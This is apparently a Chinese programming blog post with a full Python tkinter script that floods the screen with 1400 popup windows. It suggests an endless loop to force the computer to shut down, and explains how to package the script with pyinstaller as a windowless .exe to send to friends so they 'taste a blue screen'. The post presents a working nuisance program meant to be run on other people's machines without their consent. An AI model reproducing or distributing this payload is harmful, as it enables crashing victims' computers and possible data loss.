Python|做一个无线弹窗病毒

目录

(。・∀・)ノ゙嗨大家好

病毒制作

 代码

打包

(。・∀・)ノ゙嗨大家好

       我们通常在看电视剧时会看见一些非常牛逼的骇客,非常容易的黑入人家电脑,并悄无声息的植入病毒,在你不知道的情况下窃取你的隐私;也有一些骇客一把病毒放入你的电脑,然后就立马攻击你的电脑。我们可以羡慕他们的技术,但我们不能做一名挑战网络安全,扰乱网络秩序的人,但——不能霍霍别人电脑,不代表不可以霍霍自己电脑啊(。・∀・)ノ゙。我们可以做一个病毒在自己电脑上玩玩啊

病毒制作

      这个病毒你们猜主要依赖那个库啊,猜对了,这个病毒主要用tkinter这个库,

要是python中没这个库直接pip install tkinter即可,

运行截图:

 代码

import tkinter as tk
import random
import threading
import time


color = ['Red', '#356F9F']
color1 = random.choices(color)


def dow():
    window = tk.Tk()
    width = window.winfo_screenwidth()
    height = window.winfo_screenheight()
    a = random.randrange(0, width)
    b = random.randrange(0, height)
    window.title('啊哈你干嘛啊啊啊啊啊')  # 弹窗的名字,都可以修改的
    window.geometry("200x200" + "+" + str(a) + "+" + str(b))  # 弹窗大小,不建议修改
    tk.Label(window,
             text='嗨,我是亿个病毒',  # 标签的文字,随便改
             bg=color1,  # 背景颜色
             font=('楷体', 17),  # 字体和字体大小
             width=15, height=10  # 标签长宽
             ).pack()  # 固定窗口位置
    window.mainloop()


threads = []
for i in range(1400):  # 需要的弹框数量,别太多了,电脑不好的话怕你死机
    t = threading.Thread(target=dow)
    threads.append(t)
    time.sleep(0.0000000000000000000001)
    threads[i].start()

别把第29行代码""for i in range()''''中''''range()''''括号里的数调的太大,你给里面写的是几,弹窗就出现几个,最好不要破1000,要不然运行完以后windows会出现一个进度条然后就——直接强制关机;想要追求刺激的直接把”for i in range():“改成”while True:“然后电脑直接——

 图片来自:迅维网

打包

     自己玩肯定不过瘾,发给好朋友可以让好朋友也试试电脑蓝屏的滋味,但总不可能让你朋友安装python在安装这库那库吧,所以我们可以pip install pyinstaller 安装pyinstaller把*.py文件变成*.exe文件,安装好后首先win+r输入cmd打开cmd,然后输入cd #你这个病毒.py文件的项目路径,比如我的路径就是:cd C:\Users\VAS6150E\PycharmProjects\pythonProject9,然后输入pyinstaller -F -w #你放置病毒源代码的.py文件的绝对路径,比如我就是 pyinstaller -F -w C:\Users\VAS6150E\PycharmProjects\pythonProject9\tkinter\病毒.py,然后按Enter等上1分钟,再打开你放病毒文件所在的项目,会有个dist文件夹,打开它一般情况下就会有个*.exe应用,那个就是打包好的病毒啦,你就可以发给你的好朋友了哈哈哈;当然这样很麻烦甚至还会报错,你可以直接打开Pycharm中的终端输入pyinstaller -F -w打包文件的。拜拜ヾ(•ω•`)o,看完顺手点个赞吧。

评论 4
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值